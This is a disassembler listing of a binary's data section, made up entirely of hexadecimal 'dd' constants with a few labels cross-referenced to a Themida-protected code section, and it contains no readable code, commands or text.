dd 0B9CA044h, 907A82Fh, 839F436Eh, 60CC8413h, 236BB26Ch
dd 14115DABh, 0B243E500h, 0E38B3017h, 6C044E2Ch, 7C325B16h
dd 0E4146579h, 0E8803385h, 0EC76BAh, 0C63D07FBh, 2E14A28h
dd 9D99B91Eh, 0C069EF00h, 600C64C4h, 50071046h, 6000781Ah
dd 9B9247E9h, 0FCAF40h, 0BE46CA7Dh, 7CC1F5BAh, 18068B00h
dd 7EBFAD08h, 18CC6079h, 19C5AEEFh, 6C70F467h, 0C26558A1h
dd 260058BCh, 41DE42D0h, 400EAA81h, 8CABB943h, 1DFF2117h
dd 400F42A9h, 0B45B1B6Eh, 6D00152Eh, 5084D672h, 36883ECh
dd 8B36B7C8h, 8005DD9Eh, 56F56B03h, 42CE3420h, 714123DCh
dd 0D00D211h, 0CA7642A7h, 2600AFA0h, 7E2AFCB6h, 15B8F424h
dd 98F8EE49h, 0C395501h, 0C50FD54Bh, 2B4080C5h, 0E75818Ah
dd 0FB58C00Dh, 72421316h, 81E55F3Eh, 0A58C5EDCh, 5CE063A3h
dd 4A240095h, 1801C7CAh, 6D03760Ch, 0D78067Ch, 42B5F9E2h
dd 149A196h, 0AE4ECA87h, 0EEA840CFh, 81EDBE39h, 0E2C4EAE8h
dd 0D450400Fh, 0A034581Dh, 331959CCh, 1A61C20Ch, 1000A970h
dd 66926933h, 184006DEh, 0D80820EEh, 85007B14h, 0BB291D41h
dd 912C7Fh, 0F07C61B1h, 767A4DD7h, 0FCBDB80Eh, 0F569E21Eh
dd 0AAB0B052h, 41D80842h, 1964ABD1h, 42E30140h, 0AD014D4Bh
dd 5A65F0C8h, 67ECBD21h, 2ED20066h, 41E27D8Dh, 2B528B7Ah
dd 0EBBC10C0h, 0FF32197Ch, 20071827h, 660894Dh, 261B7AB8h
dd 8688A021h, 99922840h, 2A90094h, 0B923648Eh, 2A006E49h
dd 305AF01Ch, 7BF3EDh, 20F18525h, 729195Bh, 52012890h
dd 761EDA3Dh, 78A8E738h, 2554658h, 41DB42ADh, 17494A9h
dd 9C42E204h, 0C10214CAh, 0BCD9F83Fh, 310C9001h, 0DFCBF5C6h
dd 63DE2C4Bh, 64E88601h, 0B03F56FDh, 0FCA849ECh, 0F749400Ch
dd 311C0950h, 69C4236Ah, 584100CBh, 99F08FB0h, 8A1C7B5Fh
dd 0E74064C6h, 0A2513739h, 7D8C036Ch, 8B7E5AC4h, 0F1002A9Ah
dd 120B2E4Dh, 3039C1F6h, 22E1E8B0h, 9C001C92h, 0A3C9F940h
dd 0F53A02h, 1D904B8Fh, 5B95E99Ah, 56FECB75h, 0CCB66E28h
dd 0EF395761h, 2AD0AD82h, 432D0147h, 0E2CD914Eh, 0A9C981F9h
dd 0A2C3483Ch, 122101FCh, 400E0FF3h, 4DB99264h, 0FA00B830h
dd 10DC6878h, 13A50Bh, 0C87DBD36h, 4C2AE2C5h, 2871C48h
dd 0CE4C120h, 6F98A047h, 2FDD45h, 7FAFA24Fh, 4B2288C2h
dd 0B0D63F24h, 0AD58A08h, 80A0CD64h, 31596AB5h, 8DF45334h
dd 2C169424h, 8BA2063Dh, 930BB95h, 0D4F09CC7h, 60E4CC04h
dd 107F3312h, 0C81809CAh, 0A02801Eh, 4D7E2333h, 764A0600h
dd 0ED7ADC2Ah, 663B2647h, 0A3CE0800h, 0C62CD400h, 90DE9D7Ch
dd 79749124h, 521819h, 0F45C6841h, 29FB8B01h, 0CD7D7E18h
dd 1C0BDD60h, 0F0DB9ECAh, 0B385D710h, 86038B00h, 23712241h
dd 7AC817F6h, 0F8091843h, 7C3981E4h, 70644CB2h, 13C1C200h
dd 0AF91B3B7h, 143D0A8Dh, 80FC0B5Ch, 0AA7FDAA7h, 87B0D12Ch
dd 0BDF08454h, 0C5203C60h, 12A7FD2h, 30B12EC8h, 0D0CA81BBh
dd 980E07h, 324950C1h, 108223D7h, 0F814961Eh, 4C45D84Ah
dd 9E60D0E4h, 0ACA1D83Ch, 0D05A0DC0h, 2BD140DCh, 0DAE5E71Ah
dd 0EA9060F9h, 7CF60924h, 0E8C330CCh, 1145630Ch, 0F490922Ch
dd 850259A9h, 614BCD06h, 0AE8CA113h, 398BDCC9h, 3F0CE216h
dd 0C5003839h, 0F3445F55h, 1B65E9Ah, 0D2B51F8Ch, 207FAB63h
dd 80927C84h, 1F69E63Ch, 0FC24CF95h, 7563600h, 0A898D15h
dd 2CBF1643h, 0C4DD1EF0h, 90F3ECD0h, 807B0FC4h, 620C0C98h
dd 5174C121h, 0B221C0EAh, 75258052h, 0FF9AD007h, 6B00BB6Eh
dd 0C0440FFCh, 45EA43A9h, 0CC04DC0Ch, 839DCD7Bh, 0A020ECC5h
dd 40EAC4Dh, 6E2F41ADh, 123C8392h, 20B146B9h, 88A1CC30h
dd 0D450422Dh, 11807F30h, 88827E66h, 56B680E7h, 0AA22C280h
dd 49D8C500h, 0EF7C9536h, 180A2C19h, 67DF44A4h, 0CA7E3310h
dd 51184401h, 2E507403h, 0F02F7028h, 0E496Ch, 9D24B3E5h
dd 9083E832h, 98EEA600h, 46D642A8h, 0DA3E007Ch, 282F6F70h
dd 0CD1FB093h, 7F002151h, 7DF2C70Fh, 53221DB6h, 0F76BC0C8h
dd 82931EBEh, 0FD97BC0Dh, 0C06E386Eh, 2D87BDB0h, 9DCFF10Eh
dd 0ABEF68h, 1AA47C0h, 0B3B9016Eh, 0C22B2834h, 0B4FCE0CEh
dd 3374AB00h, 9FFA1541h, 27B6072Dh, 5785B32Bh, 10B536A9h
dd 55A12860h, 0C34790C9h, 4EA0EF30h, 3BAA3EE0h, 16206B67h
dd 2C560281h, 0E3483180h, 0CAB7C3B2h, 0AD2A530Ch, 0C0240832h
dd 0B2BAEB21h, 9A77C492h, 0D9EDC803h, 0AB10D6A8h, 0F7FCABBDh
dd 802C85B2h, 0F259CF88h, 70F0C072h, 7B7DE8EFh, 0B58E3903h
dd 0D2AD0ABh, 29AFFC98h, 5883F0C9h, 9C188263h, 0C9C90032h
dd 6C64C2C7h, 190068B4h, 27EC67B1h, 0F9F1572Eh, 0B87A6182h
dd 988C1303h, 3464F060h, 94403049h, 1F44DF69h, 19D8350Fh
dd 14E7C0A3h, 0A0CC46AEh, 806FE08Ch, 0A46083B3h, 0F726EFA1h
dd 75F31816h, 0CBB2482Dh, 3D515720h, 0CC8F843h, 0F055AB8Eh
dd 786FF302h, 14497395h, 0AE9C410h, 8A0C1BF2h, 833ED2Ch
dd 3131C0FFh, 227AE908h, 0B588C005h, 0F44614A3h, 0C1359Ch
dd 18921306h, 0FC7AEFDh, 3DB48600h, 0C22ED42Fh, 0EFCA497h
dd 11AB0A8Fh, 73140240h, 1374F2ACh, 69218363h, 0B60CF01Fh
dd 2F590737h, 1344A853h, 79F8DBB1h, 0D01F3518h, 1B54AFFAh
dd 0ABC300A8h, 0CD58B764h, 30E72AF2h, 1917FCD8h, 582EB9F3h
dd 48BDD1D5h, 0AA08E544h, 0C41AAB0Ch, 1E6C4745h, 0FF57EAE0h
dd 0B9EE03CFh, 80F319BEh, 5B49217Ch, 68FC003Ch, 0D34720B2h
dd 4C710088h, 0BFAD419Eh, 4276891Ch, 0B8727006h, 7D98FC1Fh
dd 0DBFA1EE6h, 9053D4B6h, 0E30ABB23h, 523992AAh, 6A3C404Ch
dd 96001C7Eh, 49B1D7C8h, 3AFC21Dh, 930F43BDh, 71D82B6Ch
dd 35381BDDh, 40C978h, 61E68DA3h, 1474B360h, 902CB9E4h
dd 0E5F5AE00h, 0B8FC7AC2h, 3DFF2F04h, 0C9272B1h, 0E50DC0C0h
dd 8B730294h, 46A8F3B5h, 996EFC81h, 8B4553Dh, 0E7C006D4h
dd 46B7CFB2h, 5F22EAh, 0FFB2BEEFh, 0D6A7DC5Ah, 8B57AF00h
dd 0F4D21FA1h, 85F01FCh, 61A22D0Ah, 0EDC883DCh, 0F8163995h
dd 73BAE1Ch, 58EF7AA8h, 90A739F1h, 781E421Dh, 4F02E844h
dd 0FCE46C84h, 0F4A4607Ah, 4308CC6Ah, 7C0B3531h, 83AE896Ch
dd 124727C5h, 0D46BF82h, 0CA50CD9Ch, 3C6C7B30h, 22C6FCE7h
dd 73340049h, 0E805036Ch, 0EC28F3B6h, 972A9429h, 4400DC3Dh
dd 760E365Fh, 2F04D0h, 0B4F4B08Ah, 0BC9ABDA6h, 0E0C7CB01h
dd 0E7BB1E3Ch, 2D229836h, 3098FB08h, 0C29C0997h, 0B5C96C20h
dd 3D241469h, 0C740E8D7h, 4BCACC03h, 344CFCDBh, 0D43A186Dh
dd 63A2223h, 3897CFE9h, 7CD7DC9h, 4F15D9F4h, 0AED0F0D4h
dd 0B17A735Dh, 4A578500h, 131C30C3h, 9CFC2Ah, 6E70293Fh
dd 72ABC91Dh, 0F804E090h, 5D15B26h, 0EF7498C0h, 0FF8A0123h
dd 14A2D384h, 5490DA70h, 0B6FCB2E8h, 20223246h, 0B207BFFEh
dd 49C8FB9Ah, 0A7199692h, 60B03984h, 1A25CF9h, 0A52A527Eh
dd 4003E063h, 0A775A8F0h
dd 6DC22F12h, 6FF69842h, 48C6C7Ch, 94E6E90Ch, 29633Bh
dd 0E9042D21h, 90A75571h, 68EC1977h, 9C1D6B0Ah, 0F2839837h
dd 0C06A8897h, 7CFAE981h, 8C8214FDh, 220AE493h, 26AE2407h
dd 6AF30F94h, 0A280474Fh, 4076DDD8h, 0E4EC3092h, 7B3A0900h
dd 0BAB0325Bh, 29E800B8h, 0C61EC148h, 2405DFBCh, 2155BF6Fh
dd 0AD238C41h, 0FBEC88E8h, 0C7470062h, 0F273A1E2h, 600A7F0h
dd 0D9F6D5AEh, 0C17AF3DAh, 0D807FA79h, 83918614h, 7A88D3Ch
dd 9310CCBFh, 0CD0E4066h, 1E01C314h, 0FE0BB8C7h, 0C520BF29h
dd 353206A3h, 51B7F3D9h, 48E5CCADh, 7B428087h, 831EE040h
dd 8836614Ch, 6296BE0Ch, 0A8C1004Ch, 99D5DEE3h, 155C0002h
dd 93B6EEC7h, 0C6004FB4h, 0BE8F9EA2h, 3C8FFE4h, 99BF3DB5h
dd 1BA6F67h, 0D57C9582h, 47C050CDh, 0ED53463h, 5DE6B026h
dd 40B63D0Eh, 0FA6C28D0h, 60B913EEh, 84182179h, 0C894E806h
dd 9A030BDh, 598F6BAAh, 0E3704C87h, 0EC89AB2Bh, 6F88401Eh
dd 0C0015C5Bh, 0C66EB102h, 0A8BC287Fh, 9CBE0180h, 44272B26h
dd 0AC860A14h, 0C5EC81Ch, 0D9819EA6h, 13E58B09h, 0FBF08042h
dd 303EE7E4h, 0FD2130AFh, 72EF2CA0h, 0DFB128Ch, 67AE1441h
dd 30321384h, 793026F2h, 0CA8B00E4h, 0B522C329h, 950A2834h
dd 8059C7F8h, 56EB20Fh, 0D842FDC8h, 462AB3B0h, 0F8646D8h
dd 2808E90Eh, 5C0CC4EBh, 80E9068Fh, 0F54AD943h, 0E64B0152h
dd 89C07C27h, 0A4609657h, 3BD4D405h, 8D587881h, 29259A01h
dd 8004435Ch, 0CFE0F7BCh, 0E3D000F1h, 18F9167Ah, 0E1F8BF2Eh
dd 38BBD700h, 6EBAD213h, 0F17A3C01h, 1A2E3B80h, 125EFEE4h
dd 0D603FA01h, 0CA14D3BCh, 3CA061F6h, 1C486181h, 0F4C63665h
dd 29004710h, 9C916C2Bh, 480B5E2h, 0B0ED6EB3h, 2FF8A00Dh
dd 8815012Eh, 28200604h, 7E4CE400h, 0AF16931Ch, 0F458C7A4h
dd 8292B4E8h, 0E8471C87h, 381420F1h, 9D465220h, 8C090C50h
dd 0CEB2EA04h, 0F238E2B7h, 0BB2C103h, 0B8B79B36h, 0EAFC79B9h
dd 0C818629Fh, 0B04061B6h, 20E8D21Bh, 0F8B1E306h, 6F82207h
dd 90995679h, 17389083h, 4EE2822Fh, 0A56EAD3Dh, 68C0EDD8h
dd 259D19h, 1D78AEA7h, 49EBC22Dh, 0F64AB490h, 2510902Eh
dd 0E743C06Fh, 1DB64087h, 0DABFFA65h, 8840B037h, 465CA1DFh
dd 1F362208h, 82BC4F3Ch, 7D7558EDh, 91AD2448h, 3A260100h
dd 8BCB5D53h, 1CE80612h, 0E04E0DC8h, 909D2E24h, 0F501B08h
dd 0C00132D5h, 0E020FB7Dh, 0E23F52D7h, 54688E09h, 0F105CC39h
dd 0DCA51764h, 804083Ch, 0C1B2E9C0h, 2CDA4BB7h, 0E0B7F1ACh
dd 1467F93h, 362D3CAEh, 8696AF4Ch, 755C2821h, 988F208h
dd 0FA5FB47Ch, 0C006ECA4h, 0B10C84BCh, 0D5D22E28h, 0A0A997FAh
dd 181060E8h, 6C86048Ch, 626AFCE6h, 80847146h, 6B085DBAh
dd 19C14276h, 0BC1140B8h, 0B91AC0h, 6295FAE6h, 6F507AF1h
dd 59D3D70Fh, 0DDA842BBh, 0C19C824Ch, 211C5014h, 0C78077E1h
dd 0D2FCCB6Dh, 47448652h, 6C7F3B38h, 0AED49984h, 2C90C21Bh
dd 6EE5E220h, 60135CFCh, 3C8C5CBCh, 0B480AE50h, 0FADF98EDh
dd 164E63B7h, 12F31801h, 0A86346A5h, 553049B2h, 0F5800EFh
dd 0B421ACC7h, 0F3377886h, 0B370802Bh, 0C24A6D1h, 44AFEB35h
dd 22881A70h, 5AC62AEEh, 0DD5B05F0h, 98C12ED1h, 0AB390998h
dd 12BA1010h, 688038C8h, 0D01BAAE2h, 0C8AB12B5h, 0FCCC103Eh
dd 28C43E8h, 6FD9FA6Eh, 4458D0F3h, 48D43229h, 1184659h
dd 0E4EF0F00h, 0D0F67217h, 5EB851h, 2E8C4514h, 0AB996E0Ah
dd 0E6C044E1h, 0C466E044h, 0BCF10026h, 0A7F23D76h, 0F8019983h
dd 7C48045Eh, 31805857h, 0BC17EC9h, 7803F366h, 0B5CA2B88h
dd 7AADC059h, 0FF6700AFh, 0F29D2D0Dh, 4C9B7F6Fh, 0E5E90701h
dd 0DC383394h, 0E9A830B3h, 0F6E0C81Bh, 507BB608h, 0B1190431h
dd 9F24C181h, 0DAD8004Ch, 1CE432F3h, 0B8612420h, 7C7C3CFFh
dd 27F929F0h, 298BA040h, 0D20D007Eh, 12CFE3F4h, 0F04C075Ch
dd 262B3E86h, 7A60E0B2h, 0E31C8156h, 858A0610h, 214BFD27h
dd 53DBB0B8h, 121E1F8h, 421B37CAh, 0F4DA502Ch, 8E03229Ch
dd 4C2AF4CBh, 0BFA5F070h, 4D01FA95h, 0F449A04Dh, 0DC07DC8h
dd 5C94E3E9h, 2EE02003h, 44E2E905h, 0A5F11300h, 45A63F4Eh
dd 0B16A0293h, 26EADEB3h, 0C6BE2C97h, 63AF3700h, 0C8351206h
dd 204DF8F0h, 0ADCE05F8h, 0D8040CF3h, 3E03308Bh, 41046DB2h
dd 70AC64F0h, 28028C8Ch, 1E10AB3Dh, 0DFFDAE17h, 0C8B9C2CCh
dd 5B40B795h, 0B4FC0614h, 0E2EC4750h, 0C0027743h, 5AFCE86Dh
dd 3902C847h, 4C826C78h, 93121494h, 2EA584BAh, 6F011058h
dd 19269EC0h, 114C61E0h, 8C26F8A8h, 3800F07Fh, 0FDB32891h
dd 0D42EBD3Dh, 44106821h, 0B1050290h, 4053E7C3h, 18B9E508h
dd 0D001CBA9h, 4B9F5EFh, 0CD182979h, 4FB9A512h, 932B3300h
dd 19525395h, 5873FBB7h, 2E3CFC10h, 0ADD07A04h, 80E0C4D9h
dd 9184132Ch, 23383A45h, 0FB7C0249h, 0E4C0A806h, 56F819A4h
dd 55C09309h, 0C47C1432h, 0A1582918h, 72D81DA8h, 6EFFB1A8h
dd 4504520Ch, 3D279702h, 4788ECCEh, 96F34DC0h, 0F4F93A4Fh
dd 0C055B28Fh, 9C65B68Fh, 88188F32h, 2794C04Ah, 84030349h
dd 766FDE3Eh, 0BD210041h, 0A96E194Bh, 740048EEh, 99323DEDh
dd 515851E1h, 942034EBh, 0CE2489Fh, 96C6BB5h, 639736D6h
dd 5D65E0D0h, 90F45C4Ch, 11703F24h, 0ABD40059h, 52B84F0Eh
dd 997E1C12h, 0F22801Bh, 0B4858293h, 0B3060092h, 0B79BA46Eh
dd 40954F11h, 0F115357Ch, 5F004037h, 9D85E036h, 586455D2h
dd 0C0239807h, 8BAAE00Fh, 659409ABh, 1DBF3878h, 0F1EC1607h
dd 582E2001h, 55305EA8h, 518AB15Dh, 0A2A600A7h, 1AE61445h
dd 0AB03B098h, 0A0A31931h, 38F0E929h, 4BE22063h, 3A3F30h
dd 810EFE08h, 0ADB1848Ch, 0D2FA8E04h, 609AB70Ah, 306F04C4h
dd 97F89ABh, 55F7B3B5h, 0B40E9009h, 0E10031C8h, 26010EB6h
dd 94B09972h, 0BE23A436h, 0DAAE601h, 8018E2ABh, 0FC1B6D88h
dd 0C0570015h, 7AEACB0Dh, 170B5240h, 4270F130h, 8F9900ECh
dd 2D6F421h, 0A55FA3Eh, 4440BB0Fh, 9730E285h, 5D4A513Bh
dd 0DCFC00D1h, 4EBB6121h, 700EDADh, 51A9CE73h, 0B4C033AAh
dd 0A5F341DCh, 92BCC435h, 2483D000h, 0C8C25D69h, 25B100A3h
dd 1CD99442h, 0CC59E7C0h, 81F900A0h, 0F8353112h, 885F43C3h
dd 0E911C179h, 33E3E507h, 9328090h, 0C074A5E9h, 0A0ED0490h
dd 0B63D86E0h, 7677893Eh, 3D0C207Ch, 2B1D55Ch, 0ABA358DEh
db 0E0h, 4Bh
word_507B52 dw 9852h ; DATA XREF: Themida_:0056198Do
db 0A0h, 0E9h
word_507B56 dw 777Fh ; DATA XREF: Themida_:00561992o
dd 1FBCE600h, 0ABF068CDh, 13074D4h, 0EB159E4Ah, 2CDA7B48h
dd 0E88B96BCh, 27C04CC8h, 1A5A2A7h, 0B6792C1Eh, 689120A3h
dd 52C85944h, 3002F238h, 1B0B82AEh, 0E0D7DBB1h, 10FC6C68h
dd 4C6A8BAFh, 3052300h, 0B7C2B2E6h, 7788E95h, 20B2BDEEh
dd 6CB1F10h, 9C2358DBh, 28C21F8h, 0C092F031h, 0F8832391h
dd 21395754h, 0EE20800Bh, 1249FC0Ch, 0AE4006E0h, 0C03EC4DEh
dd 11106321h, 0B2E58004h, 0BCBAB685h, 0BCED5834h, 0D496B207h
dd 6654195Ch, 0D4F774A2h, 0F56C306Fh, 99190123h, 0A3B27310h
dd 93EC64DBh, 0E8FDB024h, 196882BBh, 542CF9F3h, 6100F40Ch
dd 53E8510h, 94B0756Bh, 957E4360h, 0B428D902h, 6169AE1Bh
dd 7D102914h, 0C809FAFCh, 637C59BDh, 0F1FDE0ACh, 0D99260E6h
dd 0D334B1D2h, 0F00B955Eh, 9C741058h, 4F49C03Fh, 25DEE2Bh
dd 0D3AFE700h, 68DE07A2h, 0EDC2E642h, 48FB6C70h, 8705307Ah
dd 0B120A1A8h, 0F2003278h, 0AFE33039h, 0D034FF0Bh, 0B21CA1B8h
dd 682C7B75h, 38E8A490h, 7450988Ch, 0FFC5EB5h, 0A3420F88h
dd 0DC85251Fh, 0B5D88875h, 3176B603h, 0D351A674h, 0A5BFE0A9h
dd 0E64013Bh, 0BA0DB2C6h, 4B7C2504h, 0C021C840h, 0D0976C27h
dd 2000FDE6h, 593FAF7Ch, 0B151EEF2h, 61ECD32Ch, 2AF0F823h
dd 639439B5h, 1ED3A38Bh, 59473010h, 3C60B481h, 0F093814Eh
dd 19C251FFh, 214A77CBh, 782B40D0h, 8C44EC58h, 0B4FB9F00h
dd 0EB90A63Eh, 3C774974h, 0C9C51003h, 65EB6C62h, 0F0ED3E81h
dd 97954A7Ch, 823B91DCh, 5C3254D5h, 801680F0h, 0F897B9EBh
dd 12C03749h, 0CCB25B2h, 17C023C8h, 257C055h, 0FE5396D7h
dd 28E725B4h, 0B9604844h, 8100ADC3h, 0ABA665A8h, 9E5871Dh
dd 37F08BB6h, 0E5564424h, 3D94C838h, 1F7C601h, 9830861Ch
dd 5E64CDCh, 0B03940C3h, 9EDC801Dh, 0CE067E79h, 2B7083B7h
dd 0BA144C48h, 2C618B25h, 0BCB42C2Fh, 24008C4Ch, 0FFBD9DB6h
dd 5597C3D3h, 0D7C08C71h, 76402E58h, 0CD9D0910h, 14003044h
dd 9AA6668Ch, 10FC024h, 0F702C4C8h, 826CD93Dh, 0CD869341h
dd 0C58849B5h, 7C8251FCh, 133C9850h, 2215FC68h, 0C0C4570Ch
dd 619BB300h, 0BB0E65E5h, 0A81B000Dh, 578933DAh, 1800627Dh
dd 0B5C8EB55h, 0BE860C54h, 20465E0Ch, 877B6802h, 10603443h
dd 0C082947Ch, 996F9C14h, 0C9348268h, 0B0845ACBh, 7648DD99h
dd 4011A074h, 28F0B88Bh, 3596E876h, 0E099AC3Eh, 3140674Ch
dd 9600B82Eh, 26465CF4h, 0E193F200h, 88F6EB02h, 53C7D600h
dd 77B3B5A1h, 24D8987Dh, 80003F75h, 33AE027Ah, 1A26E440h
dd 0D0027EEh, 776DB871h, 0B12F1798h, 10C43A2Eh, 16C06EFFh
dd 0AF9F7F1Bh, 0F03E6701h, 2EFAC3DCh, 5FBC4038h, 46032E8Ch
dd 5CFC2060h, 0FF100886h, 93080912h, 18646Ch, 1C16F67Bh
dd 22799144h, 0DAE55E00h, 0BFC78C2Ah, 750D0924h, 0C0602C8Dh
dd 0F000FBA4h, 0A1B7A9C0h, 3D182B27h, 0C54BFAD2h, 0F200A2A0h
dd 4EA33044h, 917A0503h, 0DAABB4DAh, 46C5E81h, 24FD27B9h
dd 0DA03CE6h, 4801154Fh, 0FA324A9Bh, 0D8FEDFB7h, 44A317E4h
dd 0DA94D31Eh, 57ADD100h, 0FB47C73Dh, 61A0A0FEh, 4C8212FCh
dd 0EDEC50C0h, 83B38B02h, 548931B4h, 2D09C0D2h, 5288F8A9h
dd 188B20CCh, 2D60608Dh, 5883BC4h, 9CD1A44Fh, 269C403Ah
dd 664911EEh, 1BE43F00h, 91D25248h, 80EF00A2h, 0D07E6805h
dd 0D0B6DCFAh, 0B5CE0260h, 0B7FC273Dh, 0F80D8048h, 0F9E7BC00h
dd 58790FB4h, 2F6F209Ah, 1B7E1100h, 0FD3D05C0h, 80763E5h
dd 0C794ACD1h, 0AFC380B9h, 98095322h, 472B5BDh, 0E65BFF4h
dd 0AA4B0EF2h, 769300C5h, 6DDC0403h, 0B03EC166h, 0B570472Bh
dd 195E47Bh, 0FE1B9FFAh, 6A4EB0B9h, 20482360h, 404B5BC9h
dd 0FCF1BDF8h, 0B100ED72h, 0A3F21F99h, 2D33D02Eh, 0A0187ECEh
dd 5926A893h, 0FF403851h, 16B6FEA5h, 413304F3h, 0BBA19354h
dd 5C133A40h, 5C58548Ah, 2C8C01B8h, 6853FBh, 0D610F881h
dd 0BC099FC2h, 0A0FA980Fh, 64C0FF20h, 75770067h, 0C7A436DCh
dd 60FBEABh, 8B8907EFh, 8B3060BCh, 6FD624CBh, 1ABB0884h
dd 4549A821h, 604D64CCh, 1400929h, 588D7E93h, 143883B6h
dd 5BE1481h, 40B25503h, 0FC1DEC44h, 39C7CA0Fh, 2C75F3B5h
dd 4CB22CA3h, 0E850FD30h, 0F2B2CBEh, 0ABBC4F0h, 0C140281Bh
dd 21FCE56Dh, 509152C2h, 6C793200h, 54D1918Dh, 275C6901h
dd 0D4C54E9Ch, 7FC4D7FDh, 288900Dh, 2417087Eh, 8C40E678h
dd 18B43556h, 0CB634780h, 0FF60434Eh, 0BE072C6h, 0F2B34856h
dd 2E45845h, 5C851E60h, 1CAC3D28h, 0BA08C505h, 90F72772h
dd 24B83448h, 68A0018Ch, 1BA912F3h, 95FAE4DDh, 0D9691460h
dd 1E38894h, 0E7DF31B8h, 0E05599EFh, 0B095EECh, 0EE4D8EBAh
dd 708099FCh, 1866F26h, 7C946D36h, 24A346E3h, 878053A4h
dd 2CD24C7Fh, 248C83BCh, 13323B5h, 5A1B518Eh, 73EC6098h
dd 9848404Fh, 0E90AC07Ah, 0B4B94E4h, 2B072C8Bh, 40BAE902h
dd 78530F73h, 6803995h, 3BBCE868h, 0E589048Ch, 0D1D89936h
dd 0E1421724h, 24486CF6h, 82BC2040h, 9E58C437h, 0EB905CF5h
dd 7040146Dh, 7A85972Ah, 2D493C2h, 49A86B08h, 0CC044454h
dd 40C13D29h, 87CE3B64h, 0FD8C7A0h, 0CB038193h, 105F50DBh
dd 0AE6A1C30h, 80A650B0h, 27170738h, 0D0A02F7Dh, 8A23ED07h
dd 84AC6109h, 0E450E53Dh, 658B625Ch, 71F4295Ch, 0E7ED1948h
dd 685EB042h, 933BEDB0h, 60EC7364h, 2CE8EE58h, 0BC016BBh
dd 3458EBB7h, 14247C12h, 25B11CB3h, 1C00C6Fh, 295E5603h
dd 24319C22h, 0EAE2E320h, 9033AD0Fh, 67B9C0E6h, 17982217h
dd 80F4F3B7h, 0B29B19D8h, 0C6F41F51h, 3C5C74EAh, 0D5C465Eh
dd 99F459C5h, 0BA7CBFF0h, 58A48010h, 9593253Eh, 9FF7ECE8h
dd 9EE8CF01h, 16E6C2ADh, 0B49830h, 0E5840E3Fh, 0DF09A5BFh
dd 1C81F0Bh, 0A2AC2153h, 30244427h, 66B31289h, 7DD42FF2h
dd 0A97C008Ch, 37ACA71Fh, 2D5FBFF8h, 70DDB049h, 0DAF64AB0h
dd 24F7C0E0h, 5A59BC74h, 0FA184395h, 4A131DF6h, 0B0A2168Bh
dd 233049E2h, 40E10E87h, 0A8E1A994h, 70BCBEB8h, 6B613F7Ch
dd 7977E5D4h, 5AC17180h, 0E74C9E51h, 9CED0F07h, 0C265B924h
dd 4C05C813h, 0C425AF3Dh, 0B47ED480h, 0D2C22D41h, 328F0C35h
dd 0F88204DBh, 0B9A3FCB4h, 0A15504D4h, 0AFFC41E4h, 463F12BFh
dd 312A4C58h, 5780ED0Eh, 1CE153F8h, 0B46104E7h, 0D1459FC3h
dd 745DC8F4h, 97B5D5B0h, 808211C4h, 0FB666D48h, 0DC6901B3h
dd 839F2240h, 0DC452F01h, 94B92970h, 0FE9C980h, 0ED0087B6h
dd 0B46EDF22h, 968AA8F3h, 5268880Ch, 742DB500h, 0B4DF6BB0h
dd 0A8990788h, 7C46A09Bh, 819FFDA4h, 9A913B38h, 0C0088B21h
dd 58AF0113h, 2E47AE2Ch, 0CA0021B3h, 106F5861h, 0B96DA30Ah
dd 0E9512FCh, 90586Ch, 64A7E35Ch, 1245241Fh, 427B8D2Dh
dd 0D28F874Ch, 0AF5840D3h, 39B70B75h, 0F41B86B1h, 0AA5B90A0h
dd 0DC26FD09h, 72061BAh, 34B86839h, 0CE398B00h, 35649310h
dd 13B4EC9h, 21FAD2A8h, 0F06E6A0Eh, 8EFC0300h, 0D01161A8h
dd 85E3BC07h, 1029B16Bh, 28C099ECh, 0CC75B6h, 59B343A7h
dd 0F4F0FDC6h, 5A1D4C94h, 75776EC0h, 402F1Ch, 7271ABB7h
dd 9A3F5F3Ch, 0C260A870h, 8DDBB040h, 3358C0BAh, 7197AB7Eh
dd 0B6086209h, 0E4406567h, 321F6047h, 0ABBB12A9h, 3C84209Ch
dd 3A715717h, 0C7D39400h
dword_508358 dd 9197C6F4h, 0CE8D3BE3h, 0B40A4382h, 0A0DECA9Ch, 1D80467Ch
dd 44C371A4h, 881ABE7Ch, 20E4164h, 8923A7D0h, 8C594997h
dd 770A8F3Fh, 1FD82048h, 1FE3BD2h, 174A4609h, 2B97CD8Dh
dd 4096704Eh, 7D2C8F16h, 0DD1E0F91h, 871EC53Eh, 0ECAD3FB2h
dd 0F3301729h, 0FCF912Ch, 0D2AF2F93h, 52818035h, 45754E7Dh
dd 31AAC48h, 7CCEA4B0h, 0C0FF6387h, 475E5F53h, 0FA017801h
dd 0D4ABAE0Ah, 56F5434h, 0B0EB3658h, 2F30E065h, 0FF27BC00h
dd 0A7AEB479h, 0D1324EA5h, 245BB7C8h, 0E2CD0F8h, 9C8154C3h
dd 6BA907CBh, 520FECFh, 1845E370h, 63203CBBh, 4B2F7E46h
dd 6C9EE8A0h, 0BB007653h, 6ABABD38h, 0BA47362h, 0AB3E925Bh
dd 7E95C849h, 3A190C40h, 7501B97Ch, 39967DD6h, 0B082435Ch
dd 3BFA4A9h, 47448CE7h, 3A54860h, 0F2C7700h, 75A089A3h
dd 4267DC0h, 196EB114h, 2D9CFDF5h, 0D060903Eh, 5CA09814h
dd 3803A8AFh, 31538803h, 4528B927h, 6EFFE2C4h, 4D75118h
dd 0F3D938C7h, 6CACF00Ch, 9D0EBC04h, 0C085CCD3h, 133C4CE4h
dd 62C2AFh, 0E57214D7h, 0F6009792h, 8868F5C8h, 12500511h
dd 0E2D2BFEAh, 3046E218h, 8D03F1FBh, 1AE7FAD9h, 0A4C5F539h
dd 4AE878BCh, 16441E8Ch, 5A1241DAh, 6A76786Eh, 0CC143C40h
dd 0FD71F5Dh, 94670479h, 6DC758C1h, 7870F9CFh, 8C4ABC5Ch
dd 8CC84900h, 0A2DD1CA9h, 0C0171941h, 0D0B2E12Ah, 9B26F89Ah
dd 0AA041098h, 0C8FC736Eh, 28C4DBCh, 8BA27732h, 146125DCh
dd 98091012h, 14E80F69h, 0E740218Dh, 0CA1EBE35h, 0D3CC400h
dd 0C3B5BF2Bh, 18712EFFh, 2F5484D0h, 0C420070h, 623839E8h
dd 822798A3h, 38A8847Ch, 7A76100h, 0CDB5CBB7h, 6C35001Bh
dd 0ABB4FB6Eh, 28DE28D8h, 2037A904h, 0D2E824FDh, 69054100h
dd 4FD786Ah, 0A3B517CAh, 0AB8C22FCh, 7B1AD10h, 0BFC53BB0h
dd 8425699Ch, 120ED57h, 0EB60ED09h, 3A2A4497h, 4423D8h
